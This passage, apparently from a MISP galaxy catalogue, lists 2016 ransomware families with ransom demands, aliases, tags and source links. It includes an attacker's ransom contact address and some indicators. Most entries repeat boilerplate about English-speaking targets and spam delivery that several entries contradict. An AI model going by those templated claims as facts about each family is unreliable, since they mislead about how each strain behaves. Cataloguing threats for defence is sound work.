It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 1.0 bitcoins.
The tag is: misp-galaxy:ransomware="ProposalCrypt Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/proposalcrypt-ransomware.html |
https://twitter.com/malwrhunterteam/status/811613888705859586 |
Manifestus Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker demands 0.2 bitcoins. The ransomware poses as a Window update.
The tag is: misp-galaxy:ransomware="Manifestus Ransomware "
Links |
https://id-ransomware.blogspot.co.il/2016/12/manifestus-ransomware.html |
EnkripsiPC Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the hacker is humanpuff69 and he requests 0.5 bitcoins. The encryption password is based on the computer name
The tag is: misp-galaxy:ransomware="EnkripsiPC Ransomware"
EnkripsiPC Ransomware is also known as:
-
IDRANSOMv3
-
Manifestus
EnkripsiPC Ransomware has relationships with:
-
similar: misp-galaxy:malpedia="Manifestus" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.co.il/2016/12/enkripsipc-ransomware.html |
https://twitter.com/BleepinComputer/status/811264254481494016 |
BrainCrypt Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. So far the victims are from Belarus and Germany.
The tag is: misp-galaxy:ransomware="BrainCrypt Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/braincrypt-ransomware.html |
MSN CryptoLocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.2 bitcoins.
The tag is: misp-galaxy:ransomware="MSN CryptoLocker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/msn-cryptolocker-ransomware.html |
CryptoBlock Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is in the amount is 0.3 bitcoins. The ransomware is disguises themselves as Adobe Systems, Incorporated. RaaS
The tag is: misp-galaxy:ransomware="CryptoBlock Ransomware "
Links |
https://id-ransomware.blogspot.co.il/2016/12/cryptoblock-ransomware.html |
AES-NI Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="AES-NI Ransomware "
Links |
https://id-ransomware.blogspot.co.il/2016/12/aes-ni-ransomware.html |
Koolova Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker of this ransomware tends to make lots of spelling errors in his requests. With Italian text that only targets the Test folder on the user’s desktop
The tag is: misp-galaxy:ransomware="Koolova Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/koolova-ransomware.html |
Fake Globe Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is 1bitcoin.
The tag is: misp-galaxy:ransomware="Fake Globe Ransomware"
Fake Globe Ransomware is also known as:
-
Globe Imposter
-
GlobeImposter
Fake Globe Ransomware has relationships with:
-
similar: misp-galaxy:malpedia="GlobeImposter" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.co.il/2016/12/fake-globe-ransomware.html |
https://twitter.com/malwrhunterteam/status/809795402421641216 |
V8Locker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…
The tag is: misp-galaxy:ransomware="V8Locker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/v8locker-ransomware.html |
Cryptorium (Fake Ransomware)
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc., however your files are not really encrypted, only the names are changed.
The tag is: misp-galaxy:ransomware="Cryptorium (Fake Ransomware)"
Links |
https://id-ransomware.blogspot.co.il/2016/12/cryptorium-ransomware.html |
Antihacker2017 Ransomware
It’s directed to Russian speaking users, there fore is able to infect mosty the old USSR countries. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc … The hacker goes by the nickname Antihacker and requests the victim to send him an email for the decryption. He does not request any money only a warning about looking at porn (gay, incest and rape porn to be specific).
The tag is: misp-galaxy:ransomware="Antihacker2017 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/antihacker2017-ransomware.html |
CIA Special Agent 767 Ransomware (FAKE!!!)
It’s directed to English speaking users, therefore is able to infect users all over the world. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… Your files are not really encrypted and nothing actually happens, however the hacker does ask the victim to pay a sum of 100$, after 5 days the sum goes up to 250$ and thereafter to 500$. After the payment is received, the victim gets the following message informing him that he has been fooled and he simply needed to delete the note. https://4.bp.blogspot.com/-T8iSbbGOz84/WFGZEbuRfCI/AAAAAAAACm0/SO8Srwx2UIM3FPZcZl7W76oSDCsnq2vfgCPcB/s1600/code2.jpg
The tag is: misp-galaxy:ransomware="CIA Special Agent 767 Ransomware (FAKE!!!)"
LoveServer Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… This hacker request your IP address in return for the decryption.
The tag is: misp-galaxy:ransomware="LoveServer Ransomware "
Links |
https://id-ransomware.blogspot.co.il/2016/12/loveserver-ransomware.html |
Kraken Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The hacker requests 2 bitcoins in return for the files.
The tag is: misp-galaxy:ransomware="Kraken Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/kraken-ransomware.html |
Antix Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is 0.25 bitcoins and the nickname of the hacker is FRC 2016.
The tag is: misp-galaxy:ransomware="Antix Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/antix-ransomware.html |
PayDay Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is R$950 which is due in 5 days. (R$ is a Brazilian currency) Based off of Hidden-Tear
The tag is: misp-galaxy:ransomware="PayDay Ransomware "
Links |
https://id-ransomware.blogspot.co.il/2016/12/payday-ransomware.html |
https://twitter.com/BleepinComputer/status/808316635094380544 |
Slimhem Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is NOT spread using email spam, fake updates, attachments and so on. It simply places a decrypt file on your computer.
The tag is: misp-galaxy:ransomware="Slimhem Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/slimhem-ransomware.html |
M4N1F3STO Ransomware (FAKE!!!!!)
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… FILES DON’T REALLY GET DELETED NOR DO THEY GET ENCRYPTED!!!!!!!
The tag is: misp-galaxy:ransomware="M4N1F3STO Ransomware (FAKE!!!!!)"
Links |
https://id-ransomware.blogspot.co.il/2016/12/m4n1f3sto-ransomware.html |
Dale Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… CHIP > DALE
The tag is: misp-galaxy:ransomware="Dale Ransomware"
Dale Ransomware is also known as:
-
DaleLocker Ransomware
UltraLocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… Based on the idiotic open-source ransomware called CryptoWire
The tag is: misp-galaxy:ransomware="UltraLocker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/ultralocker-ransomware.html |
AES_KEY_GEN_ASSIST Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…
The tag is: misp-galaxy:ransomware="AES_KEY_GEN_ASSIST Ransomware"
Code Virus Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Code Virus Ransomware "
Links |
https://id-ransomware.blogspot.co.il/2016/12/code-virus-ransomware.html |
FLKR Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="FLKR Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/flkr-ransomware.html |
PopCorn Time Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. These hackers claim to be students from Syria. This ransomware poses as the popular torrent movie screener called PopCorn. These criminals give you the chance to retrieve your files “for free” by spreading this virus to others. Like shown in the note bellow: https://www.bleepstatic.com/images/news/ransomware/p/Popcorn-time/refer-a-friend.png
The tag is: misp-galaxy:ransomware="PopCorn Time Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/popcorntime-ransomware.html |
HackedLocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… NO POINT OF PAYING THE RANSOM—THE HACKER DOES NOT GIVE A DECRYPT AFTERWARDS.
The tag is: misp-galaxy:ransomware="HackedLocker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/hackedlocker-ransomware.html |
GoldenEye Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…
The tag is: misp-galaxy:ransomware="GoldenEye Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/12/goldeneye-ransomware.html |
https://www.bleepingcomputer.com/forums/t/634778/golden-eye-virus/ |
Sage Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…
The tag is: misp-galaxy:ransomware="Sage Ransomware"
SQ_ Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… This hacker requests 4 bitcoins for ransom.
The tag is: misp-galaxy:ransomware="SQ Ransomware"_
SQ_ Ransomware is also known as:
-
VO_ Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/12/sq-vo-ransomware.html |
Matrix
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…
The tag is: misp-galaxy:ransomware="Matrix"
Matrix is also known as:
-
Malta Ransomware
-
Matrix Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/12/matrix-ransomware.html |
Satan666 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Satan666 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/satan666-ransomware.html |
RIP (Phoenix) Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear
The tag is: misp-galaxy:ransomware="RIP (Phoenix) Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/rip-ransomware.html |
https://twitter.com/BleepinComputer/status/804810315456200704 |
Locked-In Ransomware or NoValid Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on RemindMe
The tag is: misp-galaxy:ransomware="Locked-In Ransomware or NoValid Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/novalid-ransomware.html |
Chartwig Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Chartwig Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/chartwig-ransomware.html |
RenLocker Ransomware (FAKE)
It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files don’t actually get encrypted, their names get changed using this formula: [number][.crypter]
The tag is: misp-galaxy:ransomware="RenLocker Ransomware (FAKE)"
Links |
https://id-ransomware.blogspot.co.il/2016/11/renlocker-ransomware.html |
Thanksgiving Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Thanksgiving Ransomware"
CockBlocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="CockBlocker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/cockblocker-ransomware.html |
Lomix Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on the idiotic open-source ransomware called CryptoWire
The tag is: misp-galaxy:ransomware="Lomix Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/lomix-ransomware.html |
OzozaLocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. https://3.bp.blogspot.com/--jubfYRaRmw/WDaOyZXkAaI/AAAAAAAACQE/E63a4FnaOfACZ07s1xUiv_haxy8cp5YCACLcB/s1600/ozoza2.png
The tag is: misp-galaxy:ransomware="OzozaLocker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/ozozalocker-ransomware.html |
https://twitter.com/malwrhunterteam/status/801503401867673603 |
Crypute Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Crypute Ransomware"
Crypute Ransomware is also known as:
-
m0on Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/11/crypute-ransomware-m0on.html |
https://www.bleepingcomputer.com/virus-removal/threat/ransomware/ |
NMoreira Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="NMoreira Ransomware"
NMoreira Ransomware is also known as:
-
Fake Maktub Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/11/nmoreira-ransomware.html |
https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html |
VindowsLocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom amount is 349.99$ and the hacker seems to be from India. He disguises himself as Microsoft Support.
The tag is: misp-galaxy:ransomware="VindowsLocker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/vindowslocker-ransomware.html |
https://malwarebytes.app.box.com/s/gdu18hr17mwqszj3hjw5m3sw84k8hlph |
Donald Trump 2 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Here is the original ransomware under this name: http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html
The tag is: misp-galaxy:ransomware="Donald Trump 2 Ransomware"
Links |
http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html |
Nagini Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Looks for C:\Temp\voldemort.horcrux
The tag is: misp-galaxy:ransomware="Nagini Ransomware"
Nagini Ransomware is also known as:
-
Voldemort Ransomware
ShellLocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="ShellLocker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/shelllocker-ransomware.html |
Chip Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Chip Ransomware"
Chip Ransomware is also known as:
-
ChipLocker Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/11/chip-ransomware.html |
Dharma Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CrySiS > Dharma Note: ATTENTION! At the moment, your system is not protected. We can fix it and restore files. To restore the system write to this address: bitcoin143@india.com. CrySiS variant
The tag is: misp-galaxy:ransomware="Dharma Ransomware"
Angela Merkel Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Angela Merkel Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/angela-merkel-ransomware.html |
https://twitter.com/malwrhunterteam/status/798268218364358656 |
CryptoLuck Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="CryptoLuck Ransomware"
CryptoLuck Ransomware is also known as:
-
YafunnLocker
Links |
https://id-ransomware.blogspot.co.il/2016/11/cryptoluck-ransomware.html |
Crypton Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Crypton Ransomware"
Crypton Ransomware is also known as:
-
Nemesis
-
X3M
Links |
https://id-ransomware.blogspot.co.il/2016/11/crypton-ransomware.html |
https://www.bleepingcomputer.com/news/security/crypton-ransomware-is-here-and-its-not-so-bad-/ |
Karma Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. pretends to be a Windows optimization program called Windows-TuneUp
The tag is: misp-galaxy:ransomware="Karma Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/karma-ransomware.html |
WickedLocker HT Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="WickedLocker HT Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/wickedlocker-ht-ransomware.html |
PClock3 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoLocker Copycat
The tag is: misp-galaxy:ransomware="PClock3 Ransomware"
PClock3 Ransomware is also known as:
-
PClock SuppTeam Ransomware
-
WinPlock
-
CryptoLocker clone
Kolobo Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Kolobo Ransomware"
Kolobo Ransomware is also known as:
-
Kolobocheg Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/11/kolobo-ransomware.html |
PaySafeGen (German) Ransomware
This is most likely to affect German speaking users, since the note is written in German. Mostly affects users in German speaking countries. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="PaySafeGen (German) Ransomware"
PaySafeGen (German) Ransomware is also known as:
-
Paysafecard Generator 2016
Links |
https://id-ransomware.blogspot.co.il/2016/11/paysafegen-german-ransomware.html |
Telecrypt Ransomware
This is most likely to affect Russian speaking users, since the note is written in Russian. Therefore, residents of Russian speaking country are affected. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransomware’s authors would request around $75 from their victims to provide them with a decryptor (payments are accepted via Russian payment services Qiwi or Yandex.Money ). Right from the start, however, researchers suggested that TeleCrypt was written by cybercriminals without advanced skills. Telecrypt will generate a random string to encrypt with that is between 10-20 length and only contain the letters vo,pr,bm,xu,zt,dq.
The tag is: misp-galaxy:ransomware="Telecrypt Ransomware"
CerberTear Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="CerberTear Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/cerbertear-ransomware.html |
FuckSociety Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Hidden Tear >> APT Ransomware + HYPERLINK "https://id-ransomware.blogspot.ru/2016/05/remindme-ransomware-2.html" "_blank" RemindMe > FuckSociety
The tag is: misp-galaxy:ransomware="FuckSociety Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/fucksociety-ransomware.html |
PayDOS Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Batch file; Passcode: AES1014DW256 or RSA1014DJW2048
The tag is: misp-galaxy:ransomware="PayDOS Ransomware"
PayDOS Ransomware is also known as:
-
Serpent Ransomware
zScreenLocker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="zScreenLocker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/zscreenlocker-ransomware.html |
Gremit Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Gremit Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/gremit-ransomware.html |
Hollycrypt Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Hollycrypt Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/hollycrypt-ransomware.html |
BTCLocker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="BTCLocker Ransomware"
BTCLocker Ransomware is also known as:
-
BTC Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/11/btclocker-ransomware.html |
Kangaroo Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. From the developer behind the Apocalypse Ransomware, Fabiansomware, and Esmeralda
The tag is: misp-galaxy:ransomware="Kangaroo Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/kangaroo-ransomware.html |
DummyEncrypter Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="DummyEncrypter Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/dummyencrypter-ransomware.html |
Encryptss77 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Encryptss77 Ransomware"
Encryptss77 Ransomware is also known as:
-
SFX Monster Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/11/encryptss77-ransomware.html |
WinRarer Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="WinRarer Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/winrarer-ransomware.html |
Russian Globe Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Russian Globe Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/russian-globe-ransomware.html |
ZeroCrypt Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="ZeroCrypt Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/11/zerocrypt-ransomware.html |
RotorCrypt(RotoCrypt, Tar) Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="RotorCrypt(RotoCrypt, Tar) Ransomware"
RotorCrypt(RotoCrypt, Tar) Ransomware is also known as:
-
RotorCrypt
-
RotoCrypt
-
Tar Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/10/rotorcrypt-ransomware.html |
Ishtar Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.
The tag is: misp-galaxy:ransomware="Ishtar Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/ishtar-ransomware.html |
MasterBuster Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="MasterBuster Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/masterbuster-ransomware.html |
JackPot Ransomware
